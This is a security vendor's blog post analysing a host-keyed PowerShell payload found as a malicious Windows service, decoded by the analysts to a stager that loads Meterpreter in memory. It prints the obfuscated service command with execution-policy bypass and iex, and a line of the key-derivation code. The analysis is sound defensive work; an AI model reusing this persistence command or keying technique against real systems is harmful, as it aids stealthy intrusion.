Your business’ toughest competition might be criminal. See why.
Utility navigation bar redirect icon
Portal LoginSupportContact
Search
Close search
Huntress Logo in Teal
  • Platform Overview
    Managed EDR

    Get full endpoint visibility, detection, and response

    Managed EDR

    Get full endpoint visibility, detection, and response

    Managed ITDR

    Protect your Microsoft 365 identities and email environments.

    Managed ITDR

    Protect your Microsoft 365 identities and email environments.

    Managed SIEM

    Managed threat response and robust compliance support at a predictable price.

    Managed SIEM

    Managed threat response and robust compliance support at a predictable price.

    Managed Security Awareness Training

    Empower your teams with science-backed security awareness training.

    Managed Security Awareness Training

    Empower your teams with science-backed security awareness training.

    Integrations
    Integrations
    Support Documentation
    Support Documentation
    See Huntress in Action

    Quickly deploy and manage real-time protection for endpoints, email, and employees - all from a single dashboard.

    Huntress Cybersecurity
    See Huntress in Action

    Quickly deploy and manage real-time protection for endpoints, email, and employees - all from a single dashboard.

    Huntress Cybersecurity
  • Threats We Stop
    Phishing
    Phishing
    Business Email Compromise
    Business Email Compromise
    Ransomware
    Ransomware
    View Allright arrowView Allright arrow
    Industries We Serve
    Education
    Education
    Financial Services
    Financial Services
    State and Local Government
    State and Local Government
    Healthcare
    Healthcare
    Law Firms
    Law Firms
    Manufacturing
    Manufacturing
    Utilities
    Utilities
    View Allright arrowView Allright arrow
    Tailored Solutions
    MSPs
    MSPs
    Resellers
    Resellers
    SMBs
    SMBs
    Compliance
    Compliance
    Cybercriminals Have Evolved

    Get the intel on today’s cybercriminal groups and learn how to protect yourself.

    Huntress Cybersecurity
    Cybercriminals Have Evolved

    Get the intel on today’s cybercriminal groups and learn how to protect yourself.

    Huntress Cybersecurity
  • Pricing
  • Community Series
    The Product Lab

    Shape the next big thing in cybersecurity together.

    The Product Lab

    Shape the next big thing in cybersecurity together.

    Fireside Chat

    Real people. Real perspectives. Better conversations.

    Fireside Chat

    Real people. Real perspectives. Better conversations.

    Tradecraft Tuesday

    No products, no pitches – just tradecraft.

    Tradecraft Tuesday

    No products, no pitches – just tradecraft.

    _declassified

    Exposing hidden truths in the world of cybersecurity.

    _declassified

    Exposing hidden truths in the world of cybersecurity.

    Resources
    Upcoming Events
    Upcoming Events
    ebooks
    ebooks
    On-Demand Webinars
    On-Demand Webinars
    Videos
    Videos
    Whitepapers
    Whitepapers
    Datasheets
    Datasheets
    Cybersecurity Education
    Cybersecurity 101
    Cybersecurity 101
    Cybersecurity Guides
    Cybersecurity Guides
    Threat Library
    Threat Library
    Real Tradecraft, Real Results
    Real Tradecraft, Real Results
    2026 Cyber Threat Report
    2026 Cyber Threat Report
    The Huntress Blog
    Huntress Lands on the Microsoft Marketplace
    Huntress Cybersecurity
    Huntress Lands on the Microsoft Marketplace
    Huntress Cybersecurity
    How Huntress & DEFCERT Are Streamlining CMMC Assessment Prep
    Huntress Cybersecurity
    How Huntress & DEFCERT Are Streamlining CMMC Assessment Prep
    Huntress Cybersecurity
    Live Hacking Into Microsoft 365 with Kyle Hanslovan
    Huntress Cybersecurity
    Live Hacking Into Microsoft 365 with Kyle Hanslovan
    Huntress Cybersecurity
  • Why Huntress

    Go beyond AI in the fight against today’s hackers with Huntress Managed EDR purpose-built for your needs

    Huntress Cybersecurity
    Why Huntress

    Go beyond AI in the fight against today’s hackers with Huntress Managed EDR purpose-built for your needs

    Huntress Cybersecurity
    The Huntress SOC

    24/7 Security Operations Center

    The Huntress SOC

    24/7 Security Operations Center

    Reviews

    Why businesses of all sizes trust Huntress to defend their assets

    Reviews

    Why businesses of all sizes trust Huntress to defend their assets

    Case Studies

    Learn directly from our partners how Huntress has helped them

    Case Studies

    Learn directly from our partners how Huntress has helped them

    Community

    Get in touch with the Huntress Community team

    Community

    Get in touch with the Huntress Community team

    Compare Huntress
    Bitdefender
    Bitdefender
    Blackpoint
    Blackpoint
    Breach Secure Now!
    Breach Secure Now!
    Crowdstrike
    Crowdstrike
    Datto
    Datto
    SentinelOne
    SentinelOne
    Sophos
    Sophos
    Compare Allright arrowCompare Allright arrow
  • HUNTRESS HUB

    Login to access top-notch marketing resources, tools, and training.

    Huntress Cybersecurity
    HUNTRESS HUB

    Login to access top-notch marketing resources, tools, and training.

    Huntress Cybersecurity
    Partners
    MSPs

    Join our partner community to deliver expert-led managed security.

    MSPs

    Join our partner community to deliver expert-led managed security.

    Resellers

    Partner program designed to grow your cybersecurity business.

    Resellers

    Partner program designed to grow your cybersecurity business.

    Tech Alliances

    Driving innovation through global technology Partnerships

    Tech Alliances

    Driving innovation through global technology Partnerships

    Microsoft Partnership

    A Level-Up for Your Business Security

    Microsoft Partnership

    A Level-Up for Your Business Security

  • Press Release
    Huntress Announces Collaboration with Microsoft to Strengthen Cybersecurity for Businesses of All Sizes
    Huntress Cybersecurity
    Press Release
    Huntress Announces Collaboration with Microsoft to Strengthen Cybersecurity for Businesses of All Sizes
    Huntress Cybersecurity
    Our Story

    We're on a mission to shatter the barriers to enterprise-level security.

    Our Story

    We're on a mission to shatter the barriers to enterprise-level security.

    Newsroom

    Explore press releases, news articles, media interviews and more.

    Newsroom

    Explore press releases, news articles, media interviews and more.

    Meet the Team

    Founded by former NSA Cyber Operators. Backed by security researchers.

    Meet the Team

    Founded by former NSA Cyber Operators. Backed by security researchers.

    Careers

    Ready to shake up the cybersecurity world? Join the hunt.

    Careers

    Ready to shake up the cybersecurity world? Join the hunt.

    Awards
    Awards
    Contact Us
    Contact Us
  • Portal Login
  • Support
  • Contact
  • Search
  • Get a Demo
  • Start for Free
Portal LoginSupportContact
Search
Close search
Get a Demo
Start for Free
HomeBlog
ThreatOps Analysis: Keyed Malware
Published:
June 15, 2021

ThreatOps Analysis: Keyed Malware

By:
John Hammond
Share icon
Glitch effectGlitch effectGlitch effect

Malware authors are always coming up with clever ways to avoid detection. For malware written with managed code—for example, PowerShell or .NET malware—the authors will encode it to make it even harder to identify its malicious intent.

But if we were to take that a step further, attackers will sometimes “key” the malware for a particular host or user. This means the malware can only be run on the targeted host because it is tied based on hostname, IP address, or even the logged-in user.

Let's dig into an example.

In this blog, we’re looking at a PowerShell command with an environmentally keyed payload. In other words, the payload will (normally) only execute on the particular host for which it was keyed, making automated analysis much more difficult.

The Find

We identified a host with multiple malicious footholds. One such foothold was a PowerShell command configured to run as a service:

"display_name": "CxPeyAYSmEobMGPQ","name": "LjyLgJoB","command": "%COMSPEC% /C start %COMSPEC% /C powershell.exe -NoE -NoP -NonI -ExecutionPolicy Bypass -C \"iex ('''789cbd588f73d3c8154ec811c092'''+([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('fCV7JGRzemF5PSRffQpbQnl0ZVtdXSRrcW1vZj1AKCk7KDAuLigkZHN6YXkuTGVuZ3RoLzItMSkpfCV7JGtxbW9mKz1bY2hhcl1')))); exit\"\n",

The command uses the COMSPEC environment variable, which by default points to cmd.exe. The command first starts an instance of cmd.exe, which starts another cmd.exe, which ultimately starts PowerShell.exe running a command specified by the -C option (the shortened -Command option).

The PowerShell command itself consists of a long hexadecimal string concatenated with a call to Convert.FromBase64String() and a base64 string as the argument. Decoding the base64 string reveals what appears to be a decoder that the hexadecimal string (789cbd588f73…) is piped into:

Loading Gist...

The 'Bad key' on the last line of the decoder stands out; there seems to be a case where the decoder can fail. Looking closer, we can see the COMPUTERNAME, USERNAME, DOMAINNAME, and IP address (lines 11–13) are combined to create a key — $kl— which is required to decode the payload (the hexadecimal string from the command):

$kl=($env:COMPUTERNAME,$env:USERNAME,$env:USERDOMAIN)@((Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter 'ipenabled=''true''').IPAddress)|%{$kl+=$_}

Malware authors and attackers like to use PowerShell because it is ubiquitous. In addition, the nature of PowerShell code makes it harder to identify as malicious, especially if the command is encoded. To inspect it, you either have to decode it or observe it while running. In this case, the payload was keyed to the host, so you can’t just run it anywhere.

We were able to hard code the key using the details we knew about the host (line 2) and print the decoded payload (line 17) rather than executing it:

Loading Gist...

The decoded payload is a stager used to download and execute Meterpreter directly from memory.

Interestingly, the payload includes several error messages that you would not expect to find in malware. For example, “something blocking access to the ‘Connect’ method, probably Firewall or AV software.” With the use of meterpreter and the expressive error messages, we initially thought this was from a penetration test, but the customer said they had not engaged a pen-testing company. 🤨

• • •

We hope you enjoyed this glimpse into the types of shady tactics that cross our threat analysts' desks. If anything, it shows the lengths attackers will go to maximize their payload and minimize their chance of being detected.

Want to dive into more threat analysis? Read some of our other blogs:

  • Cobalt Strikes Again: An Analysis of Obfuscated Malware
  • Abusing Ngrok: Hackers at the End of the Tunnel
  • Tried and True Hacker Technique: DOS Obfuscation
Categories
Threat Analysis
Summarize this postClose Speech Bubble
ChatGPTClaudePerplexityGoogle AI

See Huntress in action

Our platform combines a suite of powerful managed detection and response tools for endpoints and Microsoft 365 identities, science-backed security awareness training, and the expertise of our 24/7 Security Operations Center (SOC).

Book a Demo
Share
Facebook iconTwitter X iconLinkedin iconDownload icon
Glitch effect

You Might Also Like

  • From PowerShell to Payload: An Analysis of Weaponized Malware

    In this blog, we look at some malicious PowerShell code breadcrumbs that one hacker left behind to unravel how they maintained access during a cyberattack.
  • Cobalt Strikes Again: An Analysis of Obfuscated Malware

    Join us for a threat hunting adventure as we analyze a suspicious run key that leads us to Cobalt Strike malware hidden across nearly 700 registry values.
  • Snakes on a Domain: An Analysis of a Python Malware Loader

    Join us on a threat analysis journey as we discover a very shady Python—and a very friendly RAT.
  • Malware Deep Dive: Examining A PowerShell Payload

    To avoid detection, hackers often turn a system’s own tools against itself. Here, we examine a malicious payload that was executed using PowerShell.
  • Targeted APT Activity: BABYSHARK Is Out for Blood

    We discovered malicious, targeted advanced persistent threat (APT) activity on a partner's system. Here, we dive into the BABYSHARK malware strain.
  • Hiding in Plain Sight: Part 2

    As a follow-up to our previous post, we recently uncovered a really peculiar piece of malware that works through a lot of different layers of abstraction.
  • Evolution of USB-Borne Malware, Raspberry Robin

    A deep dive into the USB-borne Raspberry Robin malware and how Huntress Managed EDR and Managed Antivirus can detect and mitigate this threat.
  • Hiding In Plain Sight

    There’s no end to the stealthy ways in which attackers develop and execute their tradecraft. In this case, it's as simple as hiding in plain sight.

Sign Up for Huntress Updates

Get insider access to Huntress tradecraft, killer events, and the freshest blog updates.
Privacy • Terms
By submitting this form, you accept our Terms of Service & Privacy Policy
Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.
Huntress Managed Security PlatformManaged EDRManaged EDR for macOSManaged EDR for LinuxManaged ITDRManaged SIEMManaged Security Awareness TrainingBook a Demo
PhishingComplianceBusiness Email CompromiseEducationFinanceHealthcareManufacturingState & Local Government
Managed Service ProvidersResellersIT & Security Teams24/7 SOCCase Studies
BlogResource CenterCybersecurity 101Upcoming EventsSupport Documentation
Our CompanyLeadershipNews & PressCareersContact Us
Huntress white logo

Protecting 215k+ customers like you with enterprise-grade protection.

Privacy PolicyCookie PolicyTerms of UseCookie Consent
Linkedin iconTwitter X iconYouTube iconInstagram icon
© 2025 Huntress All Rights Reserved.

Join the Hunt

Get insider access to Huntress tradecraft, killer events, and the freshest blog updates.

By submitting this form, you accept our Terms of Service & Privacy Policy